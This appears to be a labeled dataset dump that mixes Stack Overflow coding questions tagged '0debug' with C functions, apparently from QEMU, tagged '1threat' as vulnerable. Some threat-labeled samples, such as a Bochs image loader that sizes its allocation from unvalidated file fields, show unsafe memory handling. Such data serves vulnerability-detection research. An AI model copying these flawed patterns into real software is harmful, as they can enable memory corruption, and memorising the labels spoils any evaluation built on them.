<p>However, in this particular case the insets are zero.</p>
| 0debug |
python : why is this invalid syntax? : <p>i wrote this code to draw circles and hexagons.</p>
<pre><code>import turtle
t = turtle.Turtle()
t.shape("turtle")
for(int i=1; i<=6; i++){
t.circle(100)
t.forward(100)
t.left(60)
t.forward(100)
t.left(60)
t.forward(100)
t.left(60)
t.forward(100)
t.left(60)
t.forward(100)
t.left(60)
t.forward(100)
}
</code></pre>
<p>i made "int i" to iterate but debugging says it's invalid syntax. why?
i'm not native english speaker, so if you could please tell me easily. i'll be really appreciated. </p>
| 0debug |
C# Print list of string array : <p>I'm very new to c# and have a question, how do I print list of string arrays? I can do it from string[] using Console.WriteLine, but if I do that for list with forEach it just prints out System.String[], how do I write index when using for each?</p>
| 0debug |
How to make While Loops continue for a certain number? : I want to know how to make a While Loop to a certain number, which will be 52.
import random
ydeal = random.randint(1,9)
adeal = random.randint(1,9)
yscore = 0
ascore = 0
def roll():
if deal == "!":
print(ydeal)
print(adeal)
if ydeal > adeal:
yscore + 1
elif ydeal < adeal:
ascore + 1
print(yscore, ascore)
deal = input("Your Turn: ")
roll()
Also, I noticed that when I want to print yscore and ascore it returns the old variable value, 0, and not with the scores added.
I know this will probably get an out of topic, but I just need an answer, not add a new questions. | 0debug |
def swap_count(s):
chars = s
count_left = 0
count_right = 0
swap = 0
imbalance = 0;
for i in range(len(chars)):
if chars[i] == '[':
count_left += 1
if imbalance > 0:
swap += imbalance
imbalance -= 1
elif chars[i] == ']':
count_right += 1
imbalance = (count_right - count_left)
return swap | 0debug |
Best practice for reading styles of element JSDOM : <p>To get style attributes from an element using JSDOM, I use the following:</p>
<pre><code>window.getComputedStyle(element)
</code></pre>
<p>It's the only example I've found. Using <code>element.style.someAttribute</code> does not seem to return anything.</p>
<p>Is usinging <code>getComputedStyle</code> the best way to find the values of attributes?</p>
<p>ty!</p>
| 0debug |
How to use Fragment in an activity - giving lots of errors : <p>This is the <code>ImageActivity.java</code> </p>
<pre><code>package com.example.app6;
import android.app.FragmentTransaction;
import android.os.Bundle;
import android.support.v4.app.FragmentActivity;
import android.widget.FrameLayout;
public abstract class ImageActivity extends FragmentActivity {
private ExampleFragment mFragment;
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
FrameLayout frame = new FrameLayout(this);
if (savedInstanceState == null) {
mFragment = new ExampleFragment();
FragmentTransaction ft = getFragmentManager().beginTransaction();
ft.add(frame.getId(), mFragment).commit();
}
setContentView(frame);
}
}
</code></pre>
<p>and this is <code>ExampleFragment.java</code></p>
<pre><code>package com.example.app6;
import android.app.Activity;
import android.os.Bundle;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.Button;
public class ExampleFragment extends Activity {
@Override
public View onCreateView(LayoutInflater inflater,
ViewGroup container,
Bundle savedInstanceState) {
Button button = new Button(getActivity());
button.setText("Hello There");
return button;
}
}
</code></pre>
<p>Now both the files are giving me errors. In ExampleFragment, </p>
<blockquote>
<p>cannot resolve methos 'getActivity()'</p>
</blockquote>
<p>and in ImageActivity, </p>
<blockquote>
<p>cannot resolve method 'add(int, com.example.app6.ExampleFragment)'</p>
</blockquote>
<p>I am new to Android, thats why I don't have much knowledge about it. Please help me out. Thanks in Advance :)</p>
| 0debug |
Setup/Installation Proyect c# VS 2017 : I have created an standard installation project. I require to update the string connection over user imput and run an script to Create DB on selected String connection.
I am following the following articule https://www.codeproject.com/Tips/446121/Adding-connection-string-during-installation#_articleTop
But I do not understand where to create the Installation class.
Any suggestion on how to perform this task?
Thanks in advance, | 0debug |
static inline void cris_alu_alloc_temps(DisasContext *dc, int size, TCGv *t)
{
if (size == 4) {
t[0] = cpu_R[dc->op2];
t[1] = cpu_R[dc->op1];
} else {
t[0] = tcg_temp_new(TCG_TYPE_TL);
t[1] = tcg_temp_new(TCG_TYPE_TL);
}
}
| 1threat |
static int bochs_open(BlockDriverState *bs, const char *filename, int flags)
{
BDRVBochsState *s = bs->opaque;
int fd, i;
struct bochs_header bochs;
struct bochs_header_v1 header_v1;
fd = open(filename, O_RDWR | O_BINARY);
if (fd < 0) {
fd = open(filename, O_RDONLY | O_BINARY);
if (fd < 0)
return -1;
}
bs->read_only = 1;
s->fd = fd;
if (read(fd, &bochs, sizeof(bochs)) != sizeof(bochs)) {
goto fail;
}
if (strcmp(bochs.magic, HEADER_MAGIC) ||
strcmp(bochs.type, REDOLOG_TYPE) ||
strcmp(bochs.subtype, GROWING_TYPE) ||
((le32_to_cpu(bochs.version) != HEADER_VERSION) &&
(le32_to_cpu(bochs.version) != HEADER_V1))) {
goto fail;
}
if (le32_to_cpu(bochs.version) == HEADER_V1) {
memcpy(&header_v1, &bochs, sizeof(bochs));
bs->total_sectors = le64_to_cpu(header_v1.extra.redolog.disk) / 512;
} else {
bs->total_sectors = le64_to_cpu(bochs.extra.redolog.disk) / 512;
}
lseek(s->fd, le32_to_cpu(bochs.header), SEEK_SET);
s->catalog_size = le32_to_cpu(bochs.extra.redolog.catalog);
s->catalog_bitmap = qemu_malloc(s->catalog_size * 4);
if (read(s->fd, s->catalog_bitmap, s->catalog_size * 4) !=
s->catalog_size * 4)
goto fail;
for (i = 0; i < s->catalog_size; i++)
le32_to_cpus(&s->catalog_bitmap[i]);
s->data_offset = le32_to_cpu(bochs.header) + (s->catalog_size * 4);
s->bitmap_blocks = 1 + (le32_to_cpu(bochs.extra.redolog.bitmap) - 1) / 512;
s->extent_blocks = 1 + (le32_to_cpu(bochs.extra.redolog.extent) - 1) / 512;
s->extent_size = le32_to_cpu(bochs.extra.redolog.extent);
return 0;
fail:
close(fd);
return -1;
}
| 1threat |
static void blk_mig_cleanup(Monitor *mon)
{
BlkMigDevState *bmds;
BlkMigBlock *blk;
set_dirty_tracking(0);
while ((bmds = QSIMPLEQ_FIRST(&block_mig_state.bmds_list)) != NULL) {
QSIMPLEQ_REMOVE_HEAD(&block_mig_state.bmds_list, entry);
bdrv_set_in_use(bmds->bs, 0);
drive_put_ref(drive_get_by_blockdev(bmds->bs));
g_free(bmds->aio_bitmap);
g_free(bmds);
}
while ((blk = QSIMPLEQ_FIRST(&block_mig_state.blk_list)) != NULL) {
QSIMPLEQ_REMOVE_HEAD(&block_mig_state.blk_list, entry);
g_free(blk->buf);
g_free(blk);
}
monitor_printf(mon, "\n");
}
| 1threat |
error for autocomplete is not a function mvc4 and ajax & Jquery : [Autocomplete not a function error show for that][1]
[1]: https://i.stack.imgur.com/CJ1fH.png | 0debug |
converto c# private string to vb.net function : I have this private string in c# make with linq that return a value found in a xml file.
I need to convet this in a vb.net function.
I tried with c# converter but doesn't work
Can You help me please?
this is the code.
private string ImportoXML(string PercorsoXML, string ID)
{
XElement xdoc = XElement.Load(PercorsoXML, LoadOptions.PreserveWhitespace);
string ns = xdoc.Name.Namespace.NamespaceName;
var elements = xdoc.Elements(XName.Get("PmtInf", ns)).Elements(XName.Get("DrctDbtTxInf", ns));
var ElencoValori = from lv2 in elements
select new
{
PmtId = lv2.Element(XName.Get("DrctDbtTx", ns))
.Element(XName.Get("MndtRltdInf", ns))
.Element(XName.Get("MndtId", ns)).Value,
InstdAmt = lv2.Element(XName.Get("InstdAmt", ns)).Value
};
return ElencoValori.Where(c => c.PmtId.EndsWith(ID)).FirstOrDefault().InstdAmt.ToString();
}
| 0debug |
What are Salt Rounds and how are Salts stored in Bcrypt? : <p>I'm trying to configure Bcrypt for a node app that I'm making and have several questions about salts that I hope someone here can help kindly answer.</p>
<ul>
<li><p>What is a salt 'round'? For example, in the github docs (<a href="https://github.com/kelektiv/node.bcrypt.js/" rel="noreferrer">https://github.com/kelektiv/node.bcrypt.js/</a>) it uses a salt round of 10. What does that mean exactly?</p></li>
<li><p>Is the salt generated by Bcrypt always the same? For example, if I am saving user's hashed passwords to a DB, is the salt that it used to hash the password the same for every password?</p></li>
<li><p>How is the salt stored? Is it secure from potential attacks?</p></li>
</ul>
| 0debug |
how to change register link in laravel 5.5? : i want to change my register link to domain.com/register?ref=abc
how to done it in laravel 5.5
<a style="margin-bottom: 5px;font-size: 17px;font-weight: 600;" href="{{ route('login') }}" class=""><i class="fa fa-sign-in"></i> Log In</a>
<a style="margin-bottom: 5px;font-size: 17px;font-weight: 600;" href="{{ route('register') }}" class=""><i class="fa fa-user-plus"></i> Registration</a> | 0debug |
I have a local json file and i want to display its data in listbox : <p>Suppose I have following data in the json file and I want it to render in the same format in my control list box which is in my view file</p>
<pre><code>{
"data" :[
{
"text" : "abc"
}
]
}
</code></pre>
| 0debug |
How to get the current namespace of current context using kubectl? : <p>I am trying to get the namespace of the currently used Kubernetes context using <code>kubectl</code>.</p>
<p>I know there is a command <code>kubectl config get-contexts</code> but I see that it cannot output in json/yaml. The only script I've come with is this:</p>
<pre class="lang-sh prettyprint-override"><code>kubectl config get-contexts --no-headers | grep '*' | grep -Eo '\S+$'
</code></pre>
| 0debug |
static void listflags(char *buf, int bufsize, uint32_t fbits,
const char **featureset, uint32_t flags)
{
const char **p = &featureset[31];
char *q, *b, bit;
int nc;
b = 4 <= bufsize ? buf + (bufsize -= 3) - 1 : NULL;
*buf = '\0';
for (q = buf, bit = 31; fbits && bufsize; --p, fbits &= ~(1 << bit), --bit)
if (fbits & 1 << bit && (*p || !flags)) {
if (*p)
nc = snprintf(q, bufsize, "%s%s", q == buf ? "" : " ", *p);
else
nc = snprintf(q, bufsize, "%s[%d]", q == buf ? "" : " ", bit);
if (bufsize <= nc) {
if (b)
sprintf(b, "...");
return;
}
q += nc;
bufsize -= nc;
}
}
| 1threat |
Understanding "VOLUME" instruction in DockerFile : <p>Below is the content of my "Dockerfile" </p>
<pre><code>FROM node:boron
# Create app directory
RUN mkdir -p /usr/src/app
# change working dir to /usr/src/app
WORKDIR /usr/src/app
VOLUME . /usr/src/app
RUN npm install
EXPOSE 8080
CMD ["node" , "server" ]
</code></pre>
<p>In this file I am expecting "VOLUME . /usr/src/app" instruction to mount contents of present working directory in host to be mounted on /usr/src/app folder of container.</p>
<p>Please let me know if this is the correct way ?</p>
| 0debug |
World map showing day and night regions : <p>I'm trying to add a daytime/nighttime line to a world map using <code>ggplot</code> in order to indicate day and night regions; something like this:</p>
<p><a href="https://i.stack.imgur.com/pYf7o.png" rel="noreferrer"><img src="https://i.stack.imgur.com/pYf7o.png" alt="daynightexample"></a></p>
<p>The plan is to animate my map over a 24 hour cycle like this:</p>
<p><a href="https://i.stack.imgur.com/K1izu.gif" rel="noreferrer"><img src="https://i.stack.imgur.com/K1izu.gif" alt="sinewavetest"></a></p>
<p>The above animation is achieved using a sine wave, which I know is totally inaccurate. I'm aware that <code>geosphere::gcIntermediate</code> allows me to draw great-circle lines, like so:</p>
<pre><code>library(ggplot2)
library(ggthemes)
library(geosphere)
sunPath1 <- data.frame(gcIntermediate(c(-179, -30), c(0, 30), n=100))
sunPath2 <- data.frame(gcIntermediate(c(0, 30), c(179, -30), n=100))
sunPath <- rbind(sunPath1, sunPath2)
ggplot(sunPath) +
borders("world", colour = "gray95", fill = "gray90") +
geom_ribbon(aes(lon, ymax = lat), ymin=-180, fill="black", alpha=0.2) +
theme_map()
</code></pre>
<p><a href="https://i.stack.imgur.com/9BGEn.png" rel="noreferrer"><img src="https://i.stack.imgur.com/9BGEn.png" alt="greatcircletest"></a></p>
<p>Although I'm not sure if it will be possible to draw the desired lines at different points during the year, e.g. in March it looks like so:</p>
<p><a href="https://i.stack.imgur.com/z5FQJ.jpg" rel="noreferrer"><img src="https://i.stack.imgur.com/z5FQJ.jpg" alt="inthesky"></a></p>
<hr>
<p>I've had no luck finding a solution but am guessing I don't know the keywords to search for as this is way outside my sphere of knowledge. I think the answer may lie somewhere in the <a href="https://en.wikipedia.org/wiki/Sunrise_equation" rel="noreferrer">sunrise equation</a>, but I've no idea how to apply these to find a solution, nor do I know how to vary these parameters over the course of the year. <a href="https://in-the-sky.org/twilightmap.php" rel="noreferrer">This website</a> (used for the plot above) also seems useful but I'm not yet sure how!</p>
| 0debug |
Using .includes method in a function : <p>I have a an object <code>jsonRes[0]</code> containing values which need to be removed based on a condition. The following works to remove <code>null</code>, missing values and those equal to zero in the stringified object: </p>
<pre><code>function replacer(key, value) {
// Filtering out properties
if (value === null || value === 0 || value === "") {
return undefined;
}
return value;
}
JSON.stringify(jsonRes[0], replacer, "\t")
</code></pre>
<p>However, when I add a condition using the the <code>includes</code> method, I receive an error:</p>
<pre><code>function replacer(key, value) {
// Filtering out properties
if (value === null || value === 0 || value === "" || value.includes("$")) {
return undefined;
}
return value;
}
Uncaught TypeError: value.includes is not a function
</code></pre>
<p>Why is this the case and is there a workaround? </p>
| 0debug |
Where does pipenv install packages? : <p>I'm using vscode, and my editor shows:</p>
<p><a href="https://i.stack.imgur.com/bjJrV.png" rel="noreferrer"><img src="https://i.stack.imgur.com/bjJrV.png" alt="enter image description here"></a></p>
<p>The red is showing that it can't import those packages. I'm using a <code>pipenv</code> virtual environment and for the life of me, I can't figure out where it installs the packages.</p>
<p>If I could, I could just add that to <code>$PYTHONPATH</code> and life would be better.</p>
<p>Any help?</p>
| 0debug |
MongoDB Find performance: single compound index VS two single field indexes : <p>I'm looking for an advice about which indexing strategy to use in MongoDb 3.4. </p>
<p>Let's suppose we have a <em>people</em> collection of documents with the following shape: </p>
<pre><code>{
_id: 10,
name: "Bob",
age: 32,
profession: "Hacker"
}
</code></pre>
<p>Let's imagine that a web api to query the collection is exposed and that the only possibile filters are by <em>name</em> or by <em>age</em>.<br>
A sample call to the api will be something like: <code>http://myAwesomeWebSite/people?name="Bob"&age=25</code></p>
<p>Such a call will be translated in the following query: <code>db.people.find({name: "Bob", age: 25})</code>. </p>
<p>To better clarify our scenario, consider that: </p>
<ul>
<li>the field <em>name</em> was already in our documents and we already have an index on that field</li>
<li>we are going to add the new field <em>age</em> due to some new features of our application</li>
<li>the database is only accessible via the web api mentioned above and the most important requirement is to expose a super fast web api </li>
<li>all the calls to the web api will apply a filter <strong>on both the fields name and age</strong> (put another way, all the calls to the web api will have the same pattern, which is the one showed above) </li>
</ul>
<p>That said, we have to decide which of the following indexes offer the best performance:</p>
<ul>
<li>One compound index: <code>{name: 1, age: 1}</code></li>
<li>Two single-field indexes: <code>{name: 1}</code> and <code>{age: 1}</code></li>
</ul>
<p>According to some simple tests, it seems that <strong>the single compound index is much more performant than the two single-field indexes</strong>. </p>
<p>By executing a single query via the mongo shell, the explain() method suggests that using a single compound index you can query the database nearly ten times faster than using two single fields indexes. </p>
<p><strong>This difference seems to be less drammatic in a more realistic scenario, where instead of executing a single query via the mongo shell, multiple calls are made to two different urls of a nodejs web application</strong>. Both urls execute a query to the database and return the fetched data as a json array, one using a collection with the single compound index and the other using a collection with two single-field indexes (both collections having exactly the same documents).<br>
In this test the single compound index still seems to be the best choice in terms of performance, but this time the difference is less marked. </p>
<p>According to test results, we are considering to use the single compound index approach. </p>
<p>Does anyone has experience about this topic ? Are we missing any important consideration (maybe some disadvantage of big compound indexes) ?</p>
| 0debug |
Devexpress XtraGrid colums Text Alignment : Devexpress XtraGrid colums Text Alignment .?
[EXAMPLE][1]
[1]: https://i.stack.imgur.com/MhnWn.png | 0debug |
User Registration Process with IdentityServer4 : <p>I'd like to use IdentityServer4 for authentication in my ASP.NET Core MVC web application, but the user registration process seems awkward. Most web sites that require user registration don't redirect you do a separate site (e.g. Facebook, Twitter, etc.) to sign up if you're using local user accounts.</p>
<p>One solution is to host IdentityServer4 in the same process as my MVC client, but that is discouraged.</p>
<p>Are there any good real world examples of local user registration with IdentityServer4?</p>
| 0debug |
How can I write an else if structure using React (JSX) - the ternary is not expressive enough : <p>I want to write the equivalent in react:</p>
<pre><code>if (this.props.conditionA) {
<span>Condition A</span>
} else if (this.props.conditionB) {
<span>Condition B</span>
} else {
<span>Neither</span>
}
</code></pre>
<p>So maybe</p>
<pre><code>render() {
return (<div>
{(function(){
if (this.props.conditionA) {
return <span>Condition A</span>
} else if (this.props.conditionB) {
return <span>Condition B</span>
} else {
return <span>Neither</span>
}
}).call(this)}
</div>)
}
</code></pre>
<p>But that seems overly complex. Is there a better way?</p>
| 0debug |
Python: Configure Atom to work with, some packages is missing : I want to Configure `Atom` to work with `python` so after download the newest `version` from official website i notice that i cannot find many `packages` like `file icons`, `minimap` etc:
[![enter image description here][1]][1]
It just not retured any resukts.
Any suggestions ?
[1]: https://i.stack.imgur.com/ETwAC.png | 0debug |
How to create a mathematical function from data plots : <p>I am by no means a math person, but I am really trying to figure out how create a graphable function from some data plots I measure from a chemical titration. I have been trying to learn R and I would like to know if anyone can explain to me or point me to a guide to create a mathmatic function of the titration graph below.
Thanks in advance.
<a href="https://i.stack.imgur.com/EbOsp.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/EbOsp.png" alt="mL Base V Acid Solution"></a></p>
| 0debug |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.